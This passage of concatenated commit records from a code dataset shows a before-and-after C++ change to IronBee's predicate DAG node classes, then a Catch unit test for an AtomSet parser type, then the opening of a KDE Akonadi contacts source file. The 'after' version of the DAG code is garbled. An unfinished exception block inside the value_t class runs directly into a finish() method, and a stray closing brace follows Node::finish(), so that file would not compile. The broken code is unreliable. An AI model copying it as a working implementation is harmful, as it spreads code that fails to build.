m_own_values;\n    ValueList m_values;\n};\n\nNode::Node()\n{\n    \/\/ nop\n}\n\nNode::~Node()\n{\n    \/\/ nop\n}\n\nNode::value_t& Node::lookup_value()\n{\n    value_t* v = m_value.get();\n    if (! v) {\n        v = new value_t();\n        m_value.reset(v);\n    }\n    return *v;\n}\n\nconst Node::value_t& Node::lookup_value() const\n{\n    static const value_t empty_value;\n    const value_t* v = m_value.get();\n    if (! v) {\n        return empty_value;\n    }\n    else {\n        return *v;\n    }\n}\n\nValueList Node::eval(EvalContext context)\n{\n    value_t& v = lookup_value();\n    if (! v.forwarding() && ! v.finished()) {\n        calculate(context);\n    }\n    return v.values();\n}\n\nValueList Node::values() const\n{\n    return lookup_value().values();\n}\n\nvoid Node::reset()\n{\n    lookup_value().reset();\n}\n\nbool Node::finished() const\n{\n    return lookup_value().finished();\n}\n\nvoid Node::add_value(Value value)\n{\n    value_t& v = lookup_value();\n    if (v.finished()) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::einval() << errinfo_what(\n                \"Can't add value to finished node.\"\n            )\n        );\n    }\n    if (v.forwarding()) {\n        BOOST_THROW_EXCEPTION(\n            einval() << errinfo_what(\n                \"Can't add value to forwarded node.\"\n            )\n        );\n    }\n    v.values().push_back(value);\n}\n\nvoid Node::finish()\n{\n    value_t& v = lookup_value();\n    if (v.finished()) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::einval() << errinfo_what(\n                \"Can't finish an already finished node.\"\n            )\n        );\n    }\n    if (v.forwarding()) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::einval() << errinfo_what(\n                \"Can't finish a forwarded node.\"\n            )\n        );\n    }\n    v.finish();\n}\n\nvoid Node::finish_true()\n{\n    if (! values().empty()) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::einval() << errinfo_what(\n                \"Can't finish a node as true if it already has values.\"\n            )\n        );\n    }\n    add_value(c_empty_string);\n    finish();\n}\n\nvoid Node::finish_false()\n{\n    if (! values().empty()) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::einval() << errinfo_what(\n                \"Can't finish a node as false if it already has values.\"\n            )\n        );\n    }\n    finish();\n}\n\nvoid Node::forward(const node_p& other)\n{\n    value_t& v = lookup_value();\n    if (v.forwarding()) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::einval() << errinfo_what(\n                \"Can't forward a forwarded node.\"\n            )\n        );\n    }\n    if (v.finished()) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::einval() << errinfo_what(\n                \"Can't finish an already finished node.\"\n            )\n        );\n    }\n    if (! v.values().empty()) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::einval() << errinfo_what(\n                \"Can't combined existing values with forwarded values.\"\n            )\n        );\n    }\n    v.forward(&other->lookup_value());\n}\n\nvoid Node::add_child(const node_p& child)\n{\n    if (! child) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::einval() << errinfo_what(\n                \"Can't add a singular child.\"\n            )\n        );\n    }\n\n    m_children.push_back(child);\n    child->m_parents.push_back(shared_from_this());\n}\n\nvoid Node::unlink_from_child(const node_p& child) const\n{\n    bool found_parent = false;\n    for (\n        weak_node_list_t::iterator i = child->m_parents.begin();\n        i != child->m_parents.end();\n        ++i\n    ) {\n        if (i->lock().get() == this) {\n            found_parent = true;\n            child->m_parents.erase(i);\n            break;\n        }\n    }\n    if (! found_parent) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::einval() << errinfo_what(\n                \"Not a parent of child.\"\n            )\n        );\n    }\n}\n\nvoid Node::remove_child(const node_p& child)\n{\n    if (! child) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::einval() << errinfo_what(\n                \"Can't remove a singular child.\"\n            )\n        );\n    }\n\n    \/\/ Want to only remove first child.\n    node_list_t::iterator i =\n        find(m_children.begin(), m_children.end(), child);\n    if (i == m_children.end()) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::enoent() << errinfo_what(\n                \"No such child.\"\n            )\n        );\n    }\n    m_children.erase(i);\n\n    unlink_from_child(child);\n}\n\nvoid Node::replace_child(const node_p& child, const node_p& with)\n{\n    if (! child) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::einval() << errinfo_what(\n                \"Can't replace a singular child.\"\n            )\n        );\n    }\n    if (! with) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::einval() << errinfo_what(\n                \"Can't replace with a singular child.\"\n            )\n        );\n    }\n\n    node_list_t::iterator i =\n        find(m_children.begin(), m_children.end(), child);\n    if (i == m_children.end()) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::enoent() << errinfo_what(\n                \"No such child.\"\n            )\n        );\n    }\n\n    unlink_from_child(child);\n\n    with->m_parents.push_back(shared_from_this());\n\n    *i = with;\n}\n\nvoid Node::pre_transform(NodeReporter reporter) const\n{\n    \/\/ nop\n}\n\nbool Node::transform(\n    MergeGraph&,\n    const CallFactory&,\n    NodeReporter\n)\n{\n    return false;\n}\n\nvoid Node::post_transform(NodeReporter reporter) const\n{\n    \/\/ nop\n}\n\nvoid Node::pre_eval(Environment environment, NodeReporter reporter)\n{\n    \/\/ nop\n}\n\nbool Node::is_literal() const\n{\n    return dynamic_cast<const Literal*>(this);\n}\n\nostream& operator<<(ostream& out, const Node& node)\n{\n    out << node.to_s();\n    return out;\n}\n\nString::String(const string& value) :\n    m_value_as_s(value),\n    m_s(\"'\" + String::escape(value) + \"'\"),\n    m_pool(new IronBee::ScopedMemoryPool(\"IronBee::Predicate::String\")),\n    m_value_as_field(\n        IronBee::Field::create_byte_string(\n            *m_pool,\n            \"\", 0,\n            IronBee::ByteString::create_alias(\n                *m_pool,\n                m_value_as_s\n            )\n        )\n    )\n{\n    \/\/ nop\n}\n\nstring String::escape(const std::string& s)\n{\n    string escaped;\n    size_t pos = 0;\n    size_t last_pos = 0;\n\n    pos = s.find_first_of(\"'\\\\\", pos);\n    while (pos != string::npos) {\n        escaped += s.substr(last_pos, pos);\n        escaped += '\\\\';\n        escaped += s[pos];\n        last_pos = pos + 1;\n        pos = s.find_first_of(\"'\\\\\", last_pos);\n    }\n    escaped += s.substr(last_pos, pos);\n    return escaped;\n}\n\nvoid String::calculate(EvalContext)\n{\n    add_value(m_value_as_field);\n    finish();\n}\n\nconst string& Null::to_s() const\n{\n    static std::string s_null(\"null\");\n    return s_null;\n}\n\nvoid Null::calculate(EvalContext)\n{\n    finish_false();\n}\n\nInteger::Integer(int64_t value) :\n    m_value_as_i(value),\n    m_s(boost::lexical_cast<string>(value)),\n    m_pool(new IronBee::ScopedMemoryPool(\"IronBee::Predicate::Integer\")),\n    m_value_as_field(\n        IronBee::Field::create_number(\n            *m_pool,\n            \"\", 0,\n            value\n        )\n    )\n{\n    \/\/ nop\n}\n\nvoid Integer::calculate(EvalContext)\n{\n    add_value(m_value_as_field);\n    finish();\n}\n\nFloat::Float(long double value) :\n    m_value_as_f(value),\n    m_s(boost::lexical_cast<string>(value)),\n    m_pool(new IronBee::ScopedMemoryPool(\"IronBee::Predicate::Float\")),\n    m_value_as_field(\n        IronBee::Field::create_float(\n            *m_pool,\n            \"\", 0,\n            value\n        )\n    )\n{\n    \/\/ nop\n}\n\nvoid Float::calculate(EvalContext)\n{\n    add_value(m_value_as_field);\n    finish();\n}\n\n\/\/ Don't use recalculate_s() as we don't want to update parents.\nCall::Call() :\n    m_calculated_s(false)\n{\n    \/\/ nop\n}\n\nconst std::string& Call::to_s() const\n{\n    if (! m_calculated_s) {\n        recalculate_s();\n    }\n    return m_s;\n}\n\nvoid Call::add_child(const node_p& child)\n{\n    Node::add_child(child);\n    reset_s();\n}\n\nvoid Call::remove_child(const node_p& child)\n{\n    Node::remove_child(child);\n    reset_s();\n}\n\nvoid Call::replace_child(const node_p& child, const node_p& with)\n{\n    Node::replace_child(child, with);\n    reset_s();\n}\n\nvoid Call::recalculate_s() const\n{\n    m_s.clear();\n    m_s = \"(\" + name();\n    BOOST_FOREACH(const node_p& child, this->children()) {\n        m_s += \" \" + child->to_s();\n    }\n    m_s += \")\";\n\n    BOOST_FOREACH(const weak_node_p& weak_parent, parents()) {\n        call_p parent = boost::dynamic_pointer_cast<Call>(\n            weak_parent.lock()\n        );\n        if (! parent) {\n            BOOST_THROW_EXCEPTION(\n                IronBee::einval() << errinfo_what(\n                    \"Have non-Call parent.\"\n                )\n            );\n        }\n        parent->reset_s();\n    }\n    m_calculated_s = true;\n}\n\nvoid Call::reset_s() const\n{\n    BOOST_FOREACH(const weak_node_p& weak_parent, parents()) {\n        call_p parent = boost::dynamic_pointer_cast<Call>(\n            weak_parent.lock()\n        );\n        if (! parent) {\n            BOOST_THROW_EXCEPTION(\n                IronBee::einval() << errinfo_what(\n                    \"Have non-Call parent.\"\n                )\n            );\n        }\n        parent->reset_s();\n    }\n    m_calculated_s = false;\n}\n\nvoid Literal::add_child(const node_p&)\n{\n    BOOST_THROW_EXCEPTION(\n        IronBee::einval() << errinfo_what(\n            \"Literals can not have children.\"\n        )\n    );\n}\n\nvoid Literal::remove_child(const node_p&)\n{\n    BOOST_THROW_EXCEPTION(\n        IronBee::einval() << errinfo_what(\n            \"Literals can not have children.\"\n        )\n    );\n}\n\nvoid Literal::replace_child(const node_p& child, const node_p& with)\n{\n    BOOST_THROW_EXCEPTION(\n        IronBee::einval() << errinfo_what(\n            \"Literals can not have children.\"\n        )\n    );\n}\n\n} \/\/ Predicate\n} \/\/ IronBee\n<commit_msg>predicate\/dag: Cleanup sanity checks on value related methods.<commit_after>\/*****************************************************************************\n * Licensed to Qualys, Inc. (QUALYS) under one or more\n * contributor license agreements.  See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * QUALYS licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License.  You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n ****************************************************************************\/\n\n\/**\n * @file\n * @brief Predicate --- DAG Implementation\n *\n * @author Christopher Alfeld <calfeld@qualys.com>\n *\/\n\n#include <predicate\/dag.hpp>\n#include <predicate\/merge_graph.hpp>\n#include <predicate\/reporter.hpp>\n\n#include <ironbeepp\/engine.hpp>\n\n#include <boost\/lexical_cast.hpp>\n\nusing namespace std;\n\nnamespace IronBee {\nnamespace Predicate {\n\nnamespace {\nstatic IronBee::ScopedMemoryPool c_static_pool;\nstatic const Value\n    c_empty_string(\n        IronBee::Field::create_byte_string(\n            c_static_pool,\n            \"\", 0,\n            IronBee::ByteString::create(c_static_pool)\n        )\n    );\n\n}\n\nclass Node::value_t\n{\npublic:\n    \/\/! Constructor.\n    value_t() :\n        m_forward(NULL),\n        m_pool(\"node value private pool\"),\n        m_finished(false),\n        m_own_values(ValueList::create(m_pool)),\n        m_values(m_own_values)\n    {\n        \/\/ nop\n    }\n\n    void forward(const value_t* to)\n    {\n        if (forwarding()) {\n            BOOST_THROW_EXCEPTION(\n                IronBee::einval() << errinfo_what(\n                    \"Can't forward a forwarded node.\"\n                )\n            );\n        }\n        if (finished()) {\n            BOOST_THROW_EXCEPTION(\n                IronBee::einval() << errinfo_what(\n                    \"Can't finish an already finished node.\"\n                )\n            );\n        }\n        if (! m_values.empty()) {\n            BOOST_THROW_EXCEPTION(\n                IronBee::einval() << errinfo_what(\n                    \"Can't combine existing values with forwarded values.\"\n                )\n            );\n        }\n        m_forward = to;\n    }\n\n    bool finished() const\n    {\n        return m_forward ? m_forward->finished() : m_finished;\n    }\n\n    bool forwarding() const\n    {\n        return m_forward;\n    }\n\n    ValueList values() const\n    {\n        return m_forward ? m_forward->values() : m_values;\n    }\n\n    void reset()\n    {\n        m_forward = NULL;\n        m_finished = false;\n        m_values = m_own_values;\n        m_values.clear();\n    }\n\n    {\n        if (m_forward) {\n            BOOST_THROW_EXCEPTION(\n                einval() << errinfo_what(\n    void finish()\n    {\n        if (forwarding()) {\n            BOOST_THROW_EXCEPTION(\n                IronBee::einval() << errinfo_what(\n                    \"Can't finish a forwarded node.\"\n                )\n            );\n        }\n        if (finished()) {\n            BOOST_THROW_EXCEPTION(\n                IronBee::einval() << errinfo_what(\n                    \"Can't finish an already finished node.\"\n                )\n            );\n        }\n        m_finished = true;\n    }\n\n    void finish_alias(ValueList other)\n    {\n        if (forwarding()) {\n            BOOST_THROW_EXCEPTION(\n                einval() << errinfo_what(\n                    \"Can't alias a forwarded node.\"\n                )\n            );\n        }\n        if (finished()) {\n            BOOST_THROW_EXCEPTION(\n                einval() << errinfo_what(\n                    \"Can't alias a finished node.\"\n                )\n            );\n        }\n        if (m_values != m_own_values) {\n            BOOST_THROW_EXCEPTION(\n                einval() << errinfo_what(\n                    \"Can't alias an aliased node.\"\n                )\n            );\n        }\n        m_finished = true;\n        m_values = other;\n    }\n\nprivate:\n    const value_t* m_forward;\n    IronBee::ScopedMemoryPool m_pool;\n    bool m_finished;\n    ValueList m_own_values;\n    ValueList m_values;\n};\n\nNode::Node()\n{\n    \/\/ nop\n}\n\nNode::~Node()\n{\n    \/\/ nop\n}\n\nNode::value_t& Node::lookup_value()\n{\n    value_t* v = m_value.get();\n    if (! v) {\n        v = new value_t();\n        m_value.reset(v);\n    }\n    return *v;\n}\n\nconst Node::value_t& Node::lookup_value() const\n{\n    static const value_t empty_value;\n    const value_t* v = m_value.get();\n    if (! v) {\n        return empty_value;\n    }\n    else {\n        return *v;\n    }\n}\n\nValueList Node::eval(EvalContext context)\n{\n    value_t& v = lookup_value();\n    if (! v.forwarding() && ! v.finished()) {\n        calculate(context);\n    }\n    return v.values();\n}\n\nValueList Node::values() const\n{\n    return lookup_value().values();\n}\n\nvoid Node::reset()\n{\n    lookup_value().reset();\n}\n\nbool Node::finished() const\n{\n    return lookup_value().finished();\n}\n\nvoid Node::add_value(Value value)\n{\n    value_t& v = lookup_value();\n    if (v.finished()) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::einval() << errinfo_what(\n                \"Can't add value to finished node.\"\n            )\n        );\n    }\n    if (v.forwarding()) {\n        BOOST_THROW_EXCEPTION(\n            einval() << errinfo_what(\n                \"Can't add value to forwarded node.\"\n            )\n        );\n    }\n    v.values().push_back(value);\n}\n\nvoid Node::finish()\n{\n    lookup_value().finish();\n}\n}\n\nvoid Node::finish_true()\n{\n    if (! values().empty()) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::einval() << errinfo_what(\n                \"Can't finish a node as true if it already has values.\"\n            )\n        );\n    }\n    add_value(c_empty_string);\n    finish();\n}\n\nvoid Node::finish_false()\n{\n    if (! values().empty()) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::einval() << errinfo_what(\n                \"Can't finish a node as false if it already has values.\"\n            )\n        );\n    }\n    finish();\n}\n\nvoid Node::forward(const node_p& other)\n{\n    lookup_value().forward(&other->lookup_value());\n}\n\nvoid Node::add_child(const node_p& child)\n{\n    if (! child) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::einval() << errinfo_what(\n                \"Can't add a singular child.\"\n            )\n        );\n    }\n\n    m_children.push_back(child);\n    child->m_parents.push_back(shared_from_this());\n}\n\nvoid Node::unlink_from_child(const node_p& child) const\n{\n    bool found_parent = false;\n    for (\n        weak_node_list_t::iterator i = child->m_parents.begin();\n        i != child->m_parents.end();\n        ++i\n    ) {\n        if (i->lock().get() == this) {\n            found_parent = true;\n            child->m_parents.erase(i);\n            break;\n        }\n    }\n    if (! found_parent) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::einval() << errinfo_what(\n                \"Not a parent of child.\"\n            )\n        );\n    }\n}\n\nvoid Node::remove_child(const node_p& child)\n{\n    if (! child) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::einval() << errinfo_what(\n                \"Can't remove a singular child.\"\n            )\n        );\n    }\n\n    \/\/ Want to only remove first child.\n    node_list_t::iterator i =\n        find(m_children.begin(), m_children.end(), child);\n    if (i == m_children.end()) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::enoent() << errinfo_what(\n                \"No such child.\"\n            )\n        );\n    }\n    m_children.erase(i);\n\n    unlink_from_child(child);\n}\n\nvoid Node::replace_child(const node_p& child, const node_p& with)\n{\n    if (! child) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::einval() << errinfo_what(\n                \"Can't replace a singular child.\"\n            )\n        );\n    }\n    if (! with) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::einval() << errinfo_what(\n                \"Can't replace with a singular child.\"\n            )\n        );\n    }\n\n    node_list_t::iterator i =\n        find(m_children.begin(), m_children.end(), child);\n    if (i == m_children.end()) {\n        BOOST_THROW_EXCEPTION(\n            IronBee::enoent() << errinfo_what(\n                \"No such child.\"\n            )\n        );\n    }\n\n    unlink_from_child(child);\n\n    with->m_parents.push_back(shared_from_this());\n\n    *i = with;\n}\n\nvoid Node::pre_transform(NodeReporter reporter) const\n{\n    \/\/ nop\n}\n\nbool Node::transform(\n    MergeGraph&,\n    const CallFactory&,\n    NodeReporter\n)\n{\n    return false;\n}\n\nvoid Node::post_transform(NodeReporter reporter) const\n{\n    \/\/ nop\n}\n\nvoid Node::pre_eval(Environment environment, NodeReporter reporter)\n{\n    \/\/ nop\n}\n\nbool Node::is_literal() const\n{\n    return dynamic_cast<const Literal*>(this);\n}\n\nostream& operator<<(ostream& out, const Node& node)\n{\n    out << node.to_s();\n    return out;\n}\n\nString::String(const string& value) :\n    m_value_as_s(value),\n    m_s(\"'\" + String::escape(value) + \"'\"),\n    m_pool(new IronBee::ScopedMemoryPool(\"IronBee::Predicate::String\")),\n    m_value_as_field(\n        IronBee::Field::create_byte_string(\n            *m_pool,\n            \"\", 0,\n            IronBee::ByteString::create_alias(\n                *m_pool,\n                m_value_as_s\n            )\n        )\n    )\n{\n    \/\/ nop\n}\n\nstring String::escape(const std::string& s)\n{\n    string escaped;\n    size_t pos = 0;\n    size_t last_pos = 0;\n\n    pos = s.find_first_of(\"'\\\\\", pos);\n    while (pos != string::npos) {\n        escaped += s.substr(last_pos, pos);\n        escaped += '\\\\';\n        escaped += s[pos];\n        last_pos = pos + 1;\n        pos = s.find_first_of(\"'\\\\\", last_pos);\n    }\n    escaped += s.substr(last_pos, pos);\n    return escaped;\n}\n\nvoid String::calculate(EvalContext)\n{\n    add_value(m_value_as_field);\n    finish();\n}\n\nconst string& Null::to_s() const\n{\n    static std::string s_null(\"null\");\n    return s_null;\n}\n\nvoid Null::calculate(EvalContext)\n{\n    finish_false();\n}\n\nInteger::Integer(int64_t value) :\n    m_value_as_i(value),\n    m_s(boost::lexical_cast<string>(value)),\n    m_pool(new IronBee::ScopedMemoryPool(\"IronBee::Predicate::Integer\")),\n    m_value_as_field(\n        IronBee::Field::create_number(\n            *m_pool,\n            \"\", 0,\n            value\n        )\n    )\n{\n    \/\/ nop\n}\n\nvoid Integer::calculate(EvalContext)\n{\n    add_value(m_value_as_field);\n    finish();\n}\n\nFloat::Float(long double value) :\n    m_value_as_f(value),\n    m_s(boost::lexical_cast<string>(value)),\n    m_pool(new IronBee::ScopedMemoryPool(\"IronBee::Predicate::Float\")),\n    m_value_as_field(\n        IronBee::Field::create_float(\n            *m_pool,\n            \"\", 0,\n            value\n        )\n    )\n{\n    \/\/ nop\n}\n\nvoid Float::calculate(EvalContext)\n{\n    add_value(m_value_as_field);\n    finish();\n}\n\n\/\/ Don't use recalculate_s() as we don't want to update parents.\nCall::Call() :\n    m_calculated_s(false)\n{\n    \/\/ nop\n}\n\nconst std::string& Call::to_s() const\n{\n    if (! m_calculated_s) {\n        recalculate_s();\n    }\n    return m_s;\n}\n\nvoid Call::add_child(const node_p& child)\n{\n    Node::add_child(child);\n    reset_s();\n}\n\nvoid Call::remove_child(const node_p& child)\n{\n    Node::remove_child(child);\n    reset_s();\n}\n\nvoid Call::replace_child(const node_p& child, const node_p& with)\n{\n    Node::replace_child(child, with);\n    reset_s();\n}\n\nvoid Call::recalculate_s() const\n{\n    m_s.clear();\n    m_s = \"(\" + name();\n    BOOST_FOREACH(const node_p& child, this->children()) {\n        m_s += \" \" + child->to_s();\n    }\n    m_s += \")\";\n\n    BOOST_FOREACH(const weak_node_p& weak_parent, parents()) {\n        call_p parent = boost::dynamic_pointer_cast<Call>(\n            weak_parent.lock()\n        );\n        if (! parent) {\n            BOOST_THROW_EXCEPTION(\n                IronBee::einval() << errinfo_what(\n                    \"Have non-Call parent.\"\n                )\n            );\n        }\n        parent->reset_s();\n    }\n    m_calculated_s = true;\n}\n\nvoid Call::reset_s() const\n{\n    BOOST_FOREACH(const weak_node_p& weak_parent, parents()) {\n        call_p parent = boost::dynamic_pointer_cast<Call>(\n            weak_parent.lock()\n        );\n        if (! parent) {\n            BOOST_THROW_EXCEPTION(\n                IronBee::einval() << errinfo_what(\n                    \"Have non-Call parent.\"\n                )\n            );\n        }\n        parent->reset_s();\n    }\n    m_calculated_s = false;\n}\n\nvoid Literal::add_child(const node_p&)\n{\n    BOOST_THROW_EXCEPTION(\n        IronBee::einval() << errinfo_what(\n            \"Literals can not have children.\"\n        )\n    );\n}\n\nvoid Literal::remove_child(const node_p&)\n{\n    BOOST_THROW_EXCEPTION(\n        IronBee::einval() << errinfo_what(\n            \"Literals can not have children.\"\n        )\n    );\n}\n\nvoid Literal::replace_child(const node_p& child, const node_p& with)\n{\n    BOOST_THROW_EXCEPTION(\n        IronBee::einval() << errinfo_what(\n            \"Literals can not have children.\"\n        )\n    );\n}\n\n} \/\/ Predicate\n} \/\/ IronBee\n<|endoftext|>"}
{"text":"<commit_before>#include <catch.hpp>\n#include \"detail\/atom-set.h\"\n\nusing room::parser::detail::AtomSet;\n\nTEST_CASE(\"Initialization\")\n{\n    SECTION(\"Set\")\n    {\n        for (auto &&quoted : {true, false}) {\n            AtomSet node = AtomSet::SetDescription {\n                quoted, nullptr\n            };\n\n            REQUIRE(node.type == AtomSet::Type::Set);\n            REQUIRE(node.sibling == nullptr);\n            REQUIRE(node.asSet().quoted == quoted);\n            REQUIRE(node.asSet().child == nullptr);\n        }\n    }\n\n    SECTION(\"Atom\")\n    {\n        for (auto &&quoted : {true, false}) {\n            constexpr auto atomName = \"some\";\n\n            AtomSet node = AtomSet::AtomDescription {\n                quoted, atomName\n            };\n\n            REQUIRE(node.type == AtomSet::Type::Atom);\n            REQUIRE(node.sibling == nullptr);\n            REQUIRE(node.asAtom().quoted == quoted);\n            REQUIRE(node.asAtom().name == atomName);\n        }\n    }\n\n\n    constexpr auto quoted = true;\n    constexpr auto atomName = \"some\";\n    AtomSet root = AtomSet::SetDescription {\n        quoted, std::make_unique<AtomSet>(\n                    AtomSet::AtomDescription {\n                        quoted, atomName\n                    }\n                )\n    };\n\n    REQUIRE(root.type == AtomSet::Type::Set);\n    REQUIRE(root.sibling == nullptr);\n    REQUIRE(root.asSet().quoted == quoted);\n    REQUIRE(root.asSet().child != nullptr);\n\n    auto &&child = root.asSet().child;\n    REQUIRE(child->type == AtomSet::Type::Atom);\n    REQUIRE(child->sibling == nullptr);\n    REQUIRE(child->asAtom().quoted == quoted);\n    REQUIRE(child->asAtom().name == atomName);\n}\n\nTEST_CASE(\"Movement\")\n{\n\/\/    constexpr auto quoted = true;\n\n\/\/    SECTION(\"Set\") {\n\/\/        AtomSet initial = AtomSet::SetDescription {\n\/\/            quoted, nullptr\n\/\/        };\n\n\/\/        AtomSet sibling = AtomSet::SetDescription {\n\/\/            quoted, nullptr\n\/\/        };\n\n\/\/        AtomSet child = AtomSet::SetDescription {\n\/\/            quoted, nullptr\n\/\/        };\n\n\/\/        initial.sibling = &sibling;\n\/\/        initial.asSet().child = &child;\n\n\/\/        SECTION(\"Initialization\")\n\/\/        {\n\/\/            AtomSet node = std::move(initial);\n\n\/\/\/\/            REQUIRE(node.type == initial.type);\n\/\/\/\/            REQUIRE(node.sibling == initial.sibling);\n\/\/\/\/            REQUIRE(node.asSet().quoted == node.asSet().quoted);\n\/\/\/\/            REQUIRE(node.asSet().child == node.asSet().child);\n\/\/        }\n\n\/\/        SECTION(\"Assignment\")\n\/\/        {\n\n\/\/        }\n\/\/    }\n}\n\nTEST_CASE(\"Access to description\")\n{\n\n}\n<commit_msg>WIP, AtomSet, unit-tests improvement<commit_after>#include <catch.hpp>\n#include \"testing\/facilities.h\"\n#include \"detail\/atom-set.h\"\n\nusing room::parser::detail::AtomSet;\n\n\/\/\/ Helpers\nnamespace Catch {\n\ntemplate<>\nstruct StringMaker<AtomSet::Type> {\n    static std::string convert(const AtomSet::Type &type)\n    {\n        switch(type) {\n        case AtomSet::Type::Atom:\n            return \"AtomSet::Type::Atom\";\n        case AtomSet::Type::Set:\n            return \"AtomSet::Type::Set\";\n        case AtomSet::Type::Undefined:\n            return \"AtomSet::Type::Undefined\";\n        }\n    }\n};\n\n} \/\/ namespace Catch\n\n\nTEST_CASE(\"Initialization\")\n{\n    SECTION(\"Set\")\n    {\n        for (auto &&quoted : {true, false}) {\n            AtomSet node = AtomSet::SetDescription {\n                quoted, nullptr\n            };\n\n            REQUIRE(node.type == AtomSet::Type::Set);\n            REQUIRE(node.sibling == nullptr);\n            REQUIRE(node.asSet().quoted == quoted);\n            REQUIRE(node.asSet().child == nullptr);\n        }\n    }\n\n    SECTION(\"Atom\")\n    {\n        for (auto &&quoted : {true, false}) {\n            constexpr auto atomName = \"some\";\n\n            AtomSet node = AtomSet::AtomDescription {\n                quoted, atomName\n            };\n\n            REQUIRE(node.type == AtomSet::Type::Atom);\n            REQUIRE(node.sibling == nullptr);\n            REQUIRE(node.asAtom().quoted == quoted);\n            REQUIRE(node.asAtom().name == atomName);\n        }\n    }\n\n\n    constexpr auto quoted = true;\n    constexpr auto atomName = \"some\";\n    AtomSet root = AtomSet::SetDescription {\n        quoted, std::make_unique<AtomSet>(\n                    AtomSet::AtomDescription {\n                        quoted, atomName\n                    }\n                )\n    };\n\n    REQUIRE(root.type == AtomSet::Type::Set);\n    REQUIRE(root.sibling == nullptr);\n    REQUIRE(root.asSet().quoted == quoted);\n    REQUIRE(root.asSet().child != nullptr);\n\n    auto &&child = root.asSet().child;\n    REQUIRE(child->type == AtomSet::Type::Atom);\n    REQUIRE(child->sibling == nullptr);\n    REQUIRE(child->asAtom().quoted == quoted);\n    REQUIRE(child->asAtom().name == atomName);\n}\n\nTEST_CASE(\"Movement\")\n{\n\/\/    constexpr auto quoted = true;\n\n\/\/    SECTION(\"Set\") {\n\/\/        AtomSet initial = AtomSet::SetDescription {\n\/\/            quoted, nullptr\n\/\/        };\n\n\/\/        AtomSet sibling = AtomSet::SetDescription {\n\/\/            quoted, nullptr\n\/\/        };\n\n\/\/        AtomSet child = AtomSet::SetDescription {\n\/\/            quoted, nullptr\n\/\/        };\n\n\/\/        initial.sibling = &sibling;\n\/\/        initial.asSet().child = &child;\n\n\/\/        SECTION(\"Initialization\")\n\/\/        {\n\/\/            AtomSet node = std::move(initial);\n\n\/\/\/\/            REQUIRE(node.type == initial.type);\n\/\/\/\/            REQUIRE(node.sibling == initial.sibling);\n\/\/\/\/            REQUIRE(node.asSet().quoted == node.asSet().quoted);\n\/\/\/\/            REQUIRE(node.asSet().child == node.asSet().child);\n\/\/        }\n\n\/\/        SECTION(\"Assignment\")\n\/\/        {\n\n\/\/        }\n\/\/    }\n}\n\nTEST_CASE(\"Access to description\")\n{\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2013  David Edmundson <davidedmundson@kde.org>\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License as\n * published by the Free Software Foundation; either version 2 of\n * the License or (at your option) version 3 or any later version\n * accepted by the membership of KDE e.V. (or its successor approved\n * by the membership of KDE e.V.), which shall act as a proxy\n * defined in Section 14 of version 3 of the license.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n *\/\n\n#include \"akonadidatasource.h\"\n\n#include <Akonadi\/Item>\n#include <Akonadi\/ItemFetchJob>\n#include <Akonadi\/ItemFetchScope>\n#include <Akonadi\/Collection>\n#include <Akonadi\/CollectionFetchJob>\n#include <Akonadi\/CollectionFetchScope>\n\n#include <KABC\/Addressee>\n\n#include <KPluginFactory>\n#include <KPluginLoader>\n\n#include <QDebug>\n\nusing namespace Akonadi;\n\nclass AkonadiAllContacts : public KPeople::AllContactsMonitor\n{\n    Q_OBJECT\npublic:\n    AkonadiAllContacts();\n    ~AkonadiAllContacts();\n    virtual KABC::Addressee::Map contacts();\nprivate Q_SLOTS:\n    void onCollectionsFetched(KJob* job);\n    void onItemsFetched(KJob* job);\n    void onItemAdded(const Akonadi::Item &item);\n    void onItemChanged(const Akonadi::Item &item);\n    void onItemRemoved(const Akonadi::Item &item);\nprivate:\n    Akonadi::Monitor *m_monitor;\n    KABC::Addressee::Map m_contacts;\n    int m_activeFetchJobsCount;\n};\n\nAkonadiAllContacts::AkonadiAllContacts():\n    m_monitor(new Akonadi::Monitor(this)),\n    m_activeFetchJobsCount(0)\n{\n    connect(m_monitor, SIGNAL(itemAdded(Akonadi::Item,Akonadi::Collection)), SLOT(onItemAdded(Akonadi::Item)));\n    connect(m_monitor, SIGNAL(itemChanged(Akonadi::Item,QSet<QByteArray>)), SLOT(onItemChanged(Akonadi::Item)));\n    connect(m_monitor, SIGNAL(itemRemoved(Akonadi::Item)), SLOT(onItemRemoved(Akonadi::Item)));\n\n    